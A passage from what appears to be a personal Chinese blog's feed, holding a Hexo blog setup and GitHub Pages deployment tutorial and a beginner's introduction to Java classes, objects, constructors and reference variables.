&lt;p&gt;&lt;strong&gt;耐心&lt;/strong&gt;阅读与寻找，便能找到如下内容&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Install Hexo
Once all the requirements are installed, you can install Hexo with npm:

$ npm install -g hexo-cli
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;读出来，就是在命令行输入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install -g hexo-cli
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;便能安装 hexo&lt;/p&gt;
&lt;p&gt;hexo-cli 安装了，所以该如何 setup 呢？&lt;/p&gt;
&lt;p&gt;无需多虑，开发者写了相应的文档&lt;a href=&quot;https://hexo.io/docs/setup&quot;&gt;hexo setup&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;开局就写到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Once Hexo is installed, run the following commands to initialize Hexo in the target &amp;lt;folder&amp;gt;.

$ hexo init &amp;lt;folder&amp;gt;
$ cd &amp;lt;folder&amp;gt;
$ npm install
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，在目标文件夹下依次输入上面三个 commands 就行了&lt;/p&gt;
&lt;p&gt;初始化之后的目录结构，一些对于 config 文件的说明，文档里已经讲得清清楚楚了，跟着它一起配置即可&lt;/p&gt;
&lt;p&gt;关于命令行操作，&lt;a href=&quot;https://hexo.io/docs/commands&quot;&gt;文档&lt;/a&gt;里面也写的很清楚了&lt;/p&gt;
&lt;p&gt;我一般也就新建新文章，本地测试，上传到 github，所以大部分时候会用到如下几个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hexo new [layout] &amp;lt;title&amp;gt;
hexo generate
hexo publish
hexo clean
hexo server
hexo deploy
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;撰写你的第一篇文章&lt;/h2&gt;
&lt;p&gt;在 hexo 目录下输入 &lt;code&gt;hexo new my-first-content&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;接着，该文章的文件就会生成于子目录 &lt;code&gt;source/_post&lt;/code&gt; 下&lt;/p&gt;
&lt;p&gt;该文件是 &lt;strong&gt;Markdown&lt;/strong&gt; 格式，最好用支持 md 的 editor 打开（&lt;s&gt;vscode + markdownlint 天下第一&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;typora 对于 Markdown 的支持也是很好的（&lt;s&gt;不过 vscode 能做的事为什么还要用其他编辑器啊&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;此处附上 Markdown syntax 相关的网页: &lt;a href=&quot;https://www.markdownguide.org/basic-syntax/&quot;&gt;Markdown Guide&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;配置 SSH 密钥&lt;/h2&gt;
&lt;p&gt;这里使用 SSH 密钥来进行本地与 github 之间的通讯&lt;/p&gt;
&lt;p&gt;官方文档如下&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://docs.github.com/en/free-pro-team@latest/github/authenticating-to-github/connecting-to-github-with-ssh&quot;&gt;connecting to github with ssh Github Docs&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;经阅读上方的文档可以得知&lt;/p&gt;
&lt;p&gt;先生成 SSH key，下列 command 生成了公/私对
&lt;code&gt;$ ssh-keygen -t rsa -b 4096 -C &quot;your_email@example.com&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;再将其 public key 复制进剪贴板
&lt;code&gt;$ clip &amp;lt; ~/.ssh/id_rsa.pub&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;之后到&lt;a href=&quot;https://github.com/settings/keys&quot;&gt;https://github.com/settings/keys&lt;/a&gt;里，点击 New SSH key，然后把它粘贴到文本框里&lt;/p&gt;
&lt;p&gt;接下来就是测试连接&lt;/p&gt;
&lt;p&gt;在命令行下输入 &lt;code&gt;ssh -T git@github.com&lt;/code&gt; 以测试 SSH 是否配置好&lt;/p&gt;
&lt;p&gt;预期结果应如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\situ&amp;gt; ssh -T git@github.com
Hi situ2001! You&apos;ve successfully authenticated, but GitHub does not provide shell access.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，到 github 的 connection 已经没有问题&lt;/p&gt;
&lt;h2&gt;关于部署&lt;/h2&gt;
&lt;p&gt;本地写好了，当然是要部署，而部署之前，得要有地方给你放。&lt;/p&gt;
&lt;p&gt;首先先在 github 上建立一个这样的仓库&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;repo 的 name 是 yourusername.github.io ，并且这个 repo 要是 Public 的，填完之后点击 Create Repository 按钮就行了&lt;/p&gt;
&lt;p&gt;至于为什么要这样做，细看官方讲解: &lt;a href=&quot;https://pages.github.com/&quot;&gt;Github Pages&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;新建出来的 repo，github pages 默认是启用着的（&lt;s&gt;也关不了&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;再调一下 repo 里面的 setting ，进入 setting 之后一直往下跑就看到了&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;主要是设置一下 source folder 和 branch 之类的，可以直接加一个 HTTPS，也支持自定义域名&lt;/p&gt;
&lt;p&gt;至于 hexo 这边如何配置呢&lt;/p&gt;
&lt;p&gt;先执行如下命令，为什么，因为文档有的说啊：&lt;a href=&quot;https://hexo.io/docs/github-pages#One-command-deployment&quot;&gt;Github Pages | Hexo&lt;/a&gt;
&lt;code&gt;$ npm install hexo-deployer-git --save&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;再去到 hexo 文件夹下，找到 &lt;code&gt;_config.yml&lt;/code&gt; 文件&lt;/p&gt;
&lt;p&gt;添加如下几行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;deploy:
  type: &quot;git&quot;
  repo: https://github.com/yourusername/yourusername.github.io
  #branch: master
  branch: main
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;2020-11-01 更新: GitHub repo 的 default branch name 变成 main 而不是 master 了, 因此上方做了一些修改&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;输入 command &lt;code&gt;hexo deploy&lt;/code&gt; 等待一段时间之后，若无错误提示，便是部署成功&lt;/p&gt;
&lt;h2&gt;访问博客&lt;/h2&gt;
&lt;p&gt;在部署之前可以输入 command &lt;code&gt;hexo server&lt;/code&gt; 进行本地访问&lt;/p&gt;
&lt;p&gt;若已经部署到 github 上了，直接在浏览器输入 &lt;code&gt;username.github.io&lt;/code&gt; 就行&lt;/p&gt;
&lt;p&gt;如果没有问题，你的博客页面将会被加载&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注&lt;/strong&gt;: 绝大部分地区可能无法打开&lt;code&gt;*.github.io&lt;/code&gt;，建议修改 DNS 为 &lt;code&gt;223.5.5.5&lt;/code&gt;，能解决大部分问题，如果有域名和 CDN 的，推荐 CNAME 解析再套上 CDN&lt;/p&gt;
&lt;p&gt;update: CNAME 文件会在 deploy 之后被覆盖，翻了一下，发现&lt;code&gt;hexo deploy&lt;/code&gt;用的是 &lt;code&gt;git push --force&lt;/code&gt; ，因此远程仓库的内容会被现有的本地仓库覆盖掉，解决方法是在 source 目录下直接新建一个 CNAME 文件，这样在生成的时候就会出现在 public 目录里&lt;/p&gt;
&lt;p&gt;如下图所示&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;图床配置 (Optional)&lt;/h2&gt;
&lt;p&gt;Git 这种东西，不是拿来给我们存放二进制文件（如图片）的&lt;/p&gt;
&lt;p&gt;俗话说得好， &lt;s&gt;Git 存换删图一时爽，.git folder 火葬场&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;而图片在 Markdown 中，可以以 URL 形式附上，所以只要有链接，就能出图了&lt;/p&gt;
&lt;p&gt;经过一把 Google 之后，我认为有两种不错的方法来进行图片的&lt;/p&gt;
&lt;h3&gt;公共图床&lt;/h3&gt;
&lt;p&gt;使用公共图床，可以直接 0 开支（免费图床的话），但有利也有弊，图床毕竟只是别人的一项服务，图片放在别人那里，万一用着的这家公共图床凉了呢？能换，但是文章中 URL 修改的工程量可不小呢，如果没有备份的好习惯，你的图片都还在本地吗？&lt;/p&gt;
&lt;p&gt;列一些用的比较多的图床&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://imgur.com/&quot;&gt;imgur&lt;/a&gt; (国外知名图床，国内访问不友好)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://imgchr.com/&quot;&gt;imgchr&lt;/a&gt; (&lt;s&gt;跟 1 域名高度重合，一看就知道解决了什么问题&lt;/s&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;私人图床&lt;/h3&gt;
&lt;p&gt;私人图床可以考虑使用对象存储，如七牛、腾讯、阿里的对象存储
对于一般的个人博客，用对象存储，金钱开支一般都会很小（存储便宜，流量价格适中但是几乎不怎么跑流量）&lt;/p&gt;
&lt;h3&gt;图片管理神器 PicGo&lt;/h3&gt;
&lt;p&gt;地址：&lt;a href=&quot;https://github.com/Molunerfinn/PicGo&quot;&gt;PicGo&lt;/a&gt;
这是 github 上的大佬开发的一个用于管理自己存放于图床的图片的工具&lt;/p&gt;
&lt;p&gt;下载下来并根据里面的 Wiki 一步一步来就行了&lt;/p&gt;
&lt;p&gt;上传图片之后，按照 md 的 syntax &lt;code&gt;![text](URL)&lt;/code&gt; 插入到文章即可&lt;/p&gt;
&lt;p&gt;不详细说怎么操作了，毕竟人家已经有文档了，我在这里说，无非就是照搬文档，甚至还可能加上自己的主观认知，从而导致方法步骤等被个人地二次加工。&lt;/p&gt;
&lt;p&gt;所以
&lt;strong&gt;不会读文档的人可不是一个新时代青年哦&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;为了叫你们去读文档而不花费大量篇幅写作，我可真是好人呢&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;安装主题 (Optional)&lt;/h2&gt;
&lt;p&gt;可以安装其他主题以美化自己的博客
我用的是 Next 主题：&lt;a href=&quot;https://github.com/next-theme/hexo-theme-next&quot;&gt;https://github.com/next-theme/hexo-theme-next&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;安装很简单，直接在 hexo 目录下输入下面 command 即可
&lt;code&gt;$ npm install hexo-theme-next&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;之后再在 &lt;code&gt;_config.yml&lt;/code&gt; 下将 theme 改成
&lt;code&gt;theme: next&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;剩下的设置都在官方文档了，自己去看吧: &lt;a href=&quot;https://theme-next.js.org/docs/&quot;&gt;https://theme-next.js.org/docs/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;我还在用着默认设置&lt;/s&gt;&lt;/p&gt;
&lt;h2&gt;备份博客 (Optional)&lt;/h2&gt;
&lt;p&gt;虽然博客的源文件是在本地的，但是在本地也有风险啊，（猜测）并且有时候为了去其他电脑码文，你用了 U 盘拷过去，一次两次还好，多次之后你将会分不清那边是最新的源文件了~（论版本控制的重要性）~&lt;/p&gt;
&lt;h3&gt;大致流程&lt;/h3&gt;
&lt;p&gt;所以我们可以在 github 新开一个 private repo(没想到已经放开使用了)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;首次&lt;/strong&gt;先&lt;code&gt;git clone&lt;/code&gt;下来，把源文件扔进去，一波 &lt;code&gt;git add .&lt;/code&gt; 一波 &lt;code&gt;git commit&lt;/code&gt; 最后 &lt;code&gt;git push&lt;/code&gt; 送他上路&lt;br /&gt;
&lt;strong&gt;以后&lt;/strong&gt;再其他设备上，只需要 &lt;code&gt;git clone&lt;/code&gt; &lt;code&gt;git add&lt;/code&gt; &lt;code&gt;git commit&lt;/code&gt; 和 &lt;code&gt;git push / git pull&lt;/code&gt; 就行了（常用的几个）&lt;/p&gt;
&lt;p&gt;Alternative: 也可以在 github pages 的 repo 下，把 deployment 的 branch 设置为 master 之外的（如 gh-pages），然后直接 push 到 master 分支即可，不过.deploy_git 文件夹没拉下来的话，可能会出事，下面有提到。&lt;/p&gt;
&lt;h3&gt;把.gitignore 文件设置好&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;一定要有&lt;/strong&gt;.gitignore 文件
一定要&lt;strong&gt;有.gitignore 文件&lt;/strong&gt;
&lt;strong&gt;一定要有.gitignore 文件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你想 git clone 下来一堆或者 push 一堆 node_moudle，请忽略此步&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;该文件的作用如文件名本身，可以忽略上传的文件/文件夹&lt;/p&gt;
&lt;p&gt;对于 hexo 源文件，我一般选择忽略如下，剩下的便是文章和 config 文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.DS_Store
Thumbs.db
db.json
*.log
node_modules/
public/
.deploy*/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2020-11-21 更新：&lt;strong&gt;不过&lt;/strong&gt;在更换本地环境之后，.deploy*/是保存有静态页面仓库的.git 文件夹的，并且 hexo-deployer-git 的&lt;a href=&quot;https://github.com/hexojs/hexo-deployer-git#how-it-works&quot;&gt;README&lt;/a&gt;如是说&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hexo-deployer-git works by generating the site in .deploy_git and force pushing to the repo(es) in config. If .deploy_git does not exist, a repo will initialized (git init). Otherwise the curent repo (with its commit history) will be used.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;由于是 force push，也就是说没有这个文件夹时候，重新生成的新的，会把你原有的仓库直接覆盖掉（也就是说 commit 啥的全没了）
所以在换环境的时候，记得 clone 一下，即是把你的 username.github.io 这个 repo clone 下来并重命名为.deploy_git，如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone &amp;lt;gh-pages repo&amp;gt; .deploy_git
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;最后&lt;/h2&gt;
&lt;p&gt;到这里，现在你&lt;s&gt;应该&lt;/s&gt;有一个属于自己的个人博客了&lt;/p&gt;
&lt;p&gt;听说在线聊天，异性&quot;哦&quot;你的时候，回个&quot;嗯&quot;是一个很好的选择（跑&lt;/p&gt;
&lt;p&gt;那么&lt;/p&gt;
&lt;p&gt;嗯&lt;/p&gt;
&lt;p&gt;Enjoy writing&lt;/p&gt;
</content:encoded><category>教程</category></item><item><title>初识类与对象</title><link>https://situ2001.com/blog/java/first-oop/</link><guid isPermaLink="true">https://situ2001.com/blog/java/first-oop/</guid><description>初识类与对象</description><pubDate>Tue, 22 Sep 2020 08:44:53 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;该内容使用MarkdownIt渲染，如需查看图片及获取更好的排版，请阅读原文
This content is rendered using MarkdownIt, for better layout and images, please read the original post&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;此文记录了咱对 Java OOP 的初步理解&lt;/p&gt;
&lt;p&gt;由于是初学，文章也是初写，难免有错误，有的话，请指出&lt;/p&gt;
&lt;h2&gt;修改记录&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;2020-09-22 原始文章&lt;/li&gt;
&lt;li&gt;2020-11-01 coding 有了点积累，回来追加一部分内容&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;利用选择、循环、数组等这部分的内容，我们已经可以解决相当一部分的问题了。而当我们想构建一个包含着文本输入框、按钮等控件的 GUI 应用时，利用前面所学的知识，似乎需要耗费相当大的功夫。&lt;/p&gt;
&lt;h2&gt;面向对象编程&lt;/h2&gt;
&lt;p&gt;所以，为了提高软件的灵活性，开发性与可维护性，于是&lt;strong&gt;面向对象编程&lt;/strong&gt; (Object-Orient Programming) 便出现了，面向对象编程，顾名思义就是使用 Object(对象) 来进行程序设计&lt;/p&gt;
&lt;h2&gt;对象&lt;/h2&gt;
&lt;h3&gt;什么是对象&lt;/h3&gt;
&lt;p&gt;那什么东西是 Object 呢？&lt;/p&gt;
&lt;p&gt;听到对象这个词语的时候，&lt;s&gt;我下意识看了下自己，咱可没有对象啊&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;但老师告诉过我们，遇到不懂的词语，就要学会查字典。Object 在字典中的释义是&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;THING&lt;/strong&gt;: a solid thing that you can hold, touch, or see but that is not alive&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;懂了(&lt;s&gt;其实没懂&lt;/s&gt;)，对象，放在生活上，不就是个具体的物体吗？&lt;/p&gt;
&lt;p&gt;那么按理来讲，猫猫狗狗勺子苹果桌子学生，甚至是一个抽象的圆都可以是对象啊
放到计算机语言上，(&lt;s&gt;复制粘贴的&lt;/s&gt;)一个可以被明确标识的实体，就是对象，并且每一个对象都偶有自己独特的标识、状态和行为&lt;/p&gt;
&lt;p&gt;上面的文字真的好绕啊，理解对象是什么，我觉得最好还是要举栗子&lt;/p&gt;
&lt;p&gt;比如，我们现在啥都没有，但是，&lt;strong&gt;来 左边 跟我一起画个龙 在你右边 画一道彩虹&lt;/strong&gt;
&lt;s&gt;于是乎便有了一条龙和一道彩虹&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;这条龙和这道彩虹，便是对象，龙有着独特位置(左)和长度这些特点，而彩虹也有着独特位置(右)和颜色等这些特点，这些都是用来描述他们的属性的
一个对象具有其独特的 &lt;strong&gt;attribute&lt;/strong&gt; 和 &lt;strong&gt;behavior&lt;/strong&gt; (属性与行为)。
如这条彩虹有着一定的大小与颜色深浅性质，这些都是通过它的 data field 才表示的；而如它的消失便是一个行为，一个对象的行为是通过 method 来定义的&lt;/p&gt;
&lt;h2&gt;类&lt;/h2&gt;
&lt;h3&gt;什么是类&lt;/h3&gt;
&lt;p&gt;前面提及了对象，在这个地方说 class 便会自然而然了&lt;/p&gt;
&lt;p&gt;来点正经的，先让我们忘掉刚刚那条龙和那一道彩虹（&lt;/p&gt;
&lt;p&gt;我们拿正方形和电视机来说事&lt;/p&gt;
&lt;p&gt;四条边相等并且互相垂直的四边形，便是正方形，这是每一个正方形基本性质，而对于每一台电视机，都有音量、频道和开关这些属性。
上述这些这些对于每一个正方形或者每一台电视机来说，是共有的。
或是说，每个正方形是同一类东西，每台电视也是如此
所以我们可以通过 class 来生成每一个 object&lt;/p&gt;
&lt;p&gt;比如我们可以通过 Square 类来创建三个边长不同的正方形，它们都有着正方形的性质，只是边长不同罢了。这个过程叫做 instantnation(实例化)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: instance is equivalent to object
类在 instantnation 的过程中起到了一个相当于“模板”的作用，电视机对象也是如此。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;设想: 我是一个电视装配厂的工人，我可以跟着生产指南(class)进行电视机的基本装配,便可以不断装配出数不胜数的电视机。
所以，可把类理解为产出同类对象的基本模板或者蓝图&lt;/p&gt;
&lt;h3&gt;日后追加部分&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;2020-11-01 追加部分 可能会对文章逻辑造成影响 推荐跳过这部分的阅读&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;对上面那句话怎么了解呢，又模板又蓝图的？&lt;/p&gt;
&lt;p&gt;经过多一点的实操之后，发现优点不是仅仅万物皆对象，而是让某段代码拥有更好的更强的可复用性，就拿一个实际的音乐播放器类进行举例吧。&lt;/p&gt;
&lt;p&gt;如果有两台音乐播放器，我们按照之前的面向过程写法，就是分别声明变量来对应每一播放器的属性，如播放器的开关这个属性，就要声明下面这两个变量
&lt;code&gt;isOn1: boolean isOn2: boolean&lt;/code&gt;
并给它们上一个开机关机方法
&lt;code&gt;toggle（isOn: boolean): void&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;开关机就要这样做&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;toggle(isOn1);
toogle (isOn2);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;那么如果我们要管理 n 台音乐播放器，那么就要手动声明如下变量 &lt;code&gt;isOn1 isOn2 ... isOnn&lt;/code&gt;
对他们进行开关机操作就要这样做&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;toggle (isOn1);
toggle (isOn2);
...
toggle (isOnn);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这臃肿与 coding 效率啊，请自己细品。&lt;/p&gt;
&lt;p&gt;所以我们可以对播放器，创建一个 Player 类&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Player {
    private boolean isOn;

    public void toggle() {
        isOn = !isOn;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样一来每一台播放器都有着相同的作用域和方法，开关只需要操作指定的播放器对象即可，如&lt;code&gt;player1.toggle()&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;追加结束&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;类里有什么&lt;/h3&gt;
&lt;p&gt;类包含有什么，能吃吗？类如何定义的，我可以吗？直接看下码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;class Square {
    /** data field */
    double length;

    /** constructors */
    Square() {
        length = 1;
    }

    Square(double inLength) {
        length = inLength;
    }

    /** methods */
    double getArea() {
        return length * length;
    }

    void getLength() {
        System.out.println(length);
    }

    void setLength(double newLength) {
        length = newLength;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以注意到一个 class 里面，包含有&lt;strong&gt;data field, constructor, method&lt;/strong&gt; (好像分别是数据域 构造方法 方法 &lt;s&gt;还是英语顺眼&lt;/s&gt;)&lt;/p&gt;
&lt;p&gt;在本例中，data field 里面的 length 变量是每一个对象都有且是特有的(称之为 &lt;strong&gt;instant variable&lt;/strong&gt; 实例变量，当然这不包括 static variable)，在每一个对象中单独存在且不会相互影响，method 则包含了这个对象特有的方法(当然这也不包括 static method)&lt;/p&gt;
&lt;p&gt;然后就是&lt;strong&gt;constructor&lt;/strong&gt;了。我们注意到 constructor 与 construct 有关，那很好理解了(&lt;s&gt;中文好像是构造器吧&lt;/s&gt;中文叫构造方法)。constructor 便是新建对象时候所使用的方法。&lt;/p&gt;
&lt;h3&gt;新建对象&lt;/h3&gt;
&lt;p&gt;可以如下新建一个 square 对象&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Square square1 = new Square();&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;括号里面可以含&lt;strong&gt;actual parameter&lt;/strong&gt;也可以不含，不含的我们称之为 &lt;strong&gt;no-arg constructor&lt;/strong&gt; .&lt;/p&gt;
&lt;p&gt;这上面的语句用到了 &lt;strong&gt;new&lt;/strong&gt; operator, 是不是似曾相识呢?&lt;/p&gt;
&lt;p&gt;没错啦，仔细回忆一下 array 和命令行输入的内容？&lt;/p&gt;
&lt;p&gt;输出的我们需要新建 Scanner 类下的对象&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Scanner input = new Scanner(System.in);&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;新建数组我们需要的是新建一个 array 对象 (Java 将 array 视为对象看待)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;int[] array = new int[10]; //create an array that contains 10 elements&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;所以，结合之前的一些基础内容，也可以让我们理解创建对象的语句。&lt;/p&gt;
&lt;h3&gt;试讲 constructor&lt;/h3&gt;
&lt;p&gt;constructor 嘛，就是用来 construct 对象的，并且 constructor 在 syntax 方面与 method header 极其相像&lt;/p&gt;
&lt;p&gt;因为只是极其相像，所以也有几点不像的（？&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;与 method header 相比，没有 return type&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;名字必须与类名 完 全 一 致&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;只在新建对象的时候会用到&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如上面的 Square class 中的片段&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    /** constructors */
    Square() {
        length = 1;
    }

    Square(double inLength) {
        length = inLength;
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果不带参地创建新对象，就会对该对象的 length 变量(instant variable)赋值 1，而如果带实参的话，该对象便会以含形参的 Square(double inLength)的 constructor 进行 construct，此时变量 length 便会以 inLength 赋值&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;那我忘记了创建 constructor 怎么办？&lt;/strong&gt;
如果你啥 constructor 也没加的话，恭喜你(?)，因为 Java 会 implicitly 帮你加上一个的：&lt;code&gt;ClassName() {}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果只加了带 argument 的话，no-arg constructor 是不会再帮你加上的了&lt;/p&gt;
&lt;h2&gt;UML class diagram&lt;/h2&gt;
&lt;p&gt;我们能以 &lt;strong&gt;UML&lt;/strong&gt;(Unified Modeling Language) &lt;strong&gt;class diagram&lt;/strong&gt;方式表示类与对象&lt;/p&gt;
&lt;p&gt;把 Square 类做成图表的话，便会是如下所示&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---

| Square                   |
| ------------------------ |
| length: int              |
|                          |
| Square()                 |
| Square(inLength: double) |
| getArea(): void          |
| getLength(): void        |
| ------------------------ |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说用 UML class diagram 进行图示的话，遵从下列规则&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Class name&lt;/th&gt;
&lt;th&gt;Denoted as&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Data Fields&lt;/td&gt;
&lt;td&gt;dataFieldName: dataFieldType&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Constructors&lt;/td&gt;
&lt;td&gt;ClassName(parameterName: parameterType)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Methods&lt;/td&gt;
&lt;td&gt;methodName(paramterName: parameterType): returnType&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;reference variable&lt;/h2&gt;
&lt;p&gt;那么在面向对象编程中，object variable 和 primitive-type variable 有什么区别呢&lt;/p&gt;
&lt;p&gt;请与之前学到的&lt;strong&gt;数组&lt;/strong&gt;建立起&lt;strong&gt;联系&lt;/strong&gt;(数组在 Java 中被当成对象并且我们已经熟知了 Java 数组)&lt;/p&gt;
&lt;p&gt;正如我们所知道的，基本数据类型是被存放于 stack 里的，而 object 是被存放在 heap 里面的&lt;/p&gt;
&lt;p&gt;面向对象的数据类型不包含 value，而是作为一个 reference 指向目的的对象&lt;/p&gt;
&lt;h3&gt;由数组说起&lt;/h3&gt;
&lt;p&gt;试回忆前面 array 内容，array variable 是作为一个 reference variable，被引用到 heap 里相对应的数组&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int[] array = new int[10]; // create a new array
/** and array is a reference variable that reference to the array at the heap */

array[0] = 1; // assign 1 to element 0 at array

int[] array1; // create a new array variable called array1
array1 = array; // now array1 has the same reference as array

System.out.println(array[0]); // output: 1
System.out.println(array1[0]); // output is the same: 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如下图&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;| stack | | heap |
| | | |
| | | |
| | | |
| | | |
|--------------|reference | |
| main() | to | An array that |
| array | ---------|--&amp;gt;contains 10 elements |
|--------------| | |
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;以对象结束&lt;/h3&gt;
&lt;p&gt;那么对于对象来讲，其实跟数组几乎一致（&lt;s&gt;数组也是对象啊喂&lt;/s&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Square square1 = new Square(4); // create a square object which has length of 4
Square square2; // create a new reference variable of class Square

square1.getLength(); // output: 4
square2 = square1;
square2.setLength(5); // now make object square&apos;s length to 5

square2.getLength(); // output: 5
square1.getLength(); // output: 5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;语句 &lt;code&gt;square2 = square1;&lt;/code&gt; 把 square2 的引用也指向了 square 对象，正因如此，invoke 的 method 和修改的 data field 都是属于同一个 object 的&lt;/p&gt;
&lt;p&gt;可以表示如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Before square2 = square1

| stack | | heap |
| | | |
| | | |
| | | |
| | | |
| main() |reference | |
| square2 | to | |
| square1 | ---------|--&amp;gt; a square Object |
|--------------| | |

After

| stack | | heap |
| | | |
| | | |
| | | |
| ---|----------|----------------------- |
| main() | |reference | | |
| square2 --- | to | | |
| square1 | ---------|--&amp;gt; a square Object &amp;lt;-- |
|--------------| | |
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总之，可以粗略地理解为在 OOP 中的变量其实就像一个书签，没有具体的值，指向着目标对象。&lt;/p&gt;
&lt;h2&gt;自我总结&lt;/h2&gt;
&lt;p&gt;其实呢，在学习编程时候，可以进行联系与联想的，这些操作可以使得你有一个具体的认知，并且让前后知识结合得更加紧密，形成一个比较稳健的知识体系&lt;/p&gt;
&lt;h2&gt;关于文中出现英语的这件事&lt;/h2&gt;
&lt;p&gt;emm 还有有时候会忍不住用一下英语，是因为嘛，计算机几乎所有内容都是西方世界的，直接使用英语不好过加一步转化成为中文？&lt;/p&gt;
&lt;p&gt;比如下面这个例子&lt;/p&gt;
&lt;p&gt;这是对总线的解释&lt;/p&gt;
&lt;p&gt;&lt;code&gt;总线 是指计算机组件间规范化的交换数据的方式，即以一种通用的方式为各组件提供数据传送和控制逻辑&lt;/code&gt;&lt;/p&gt;
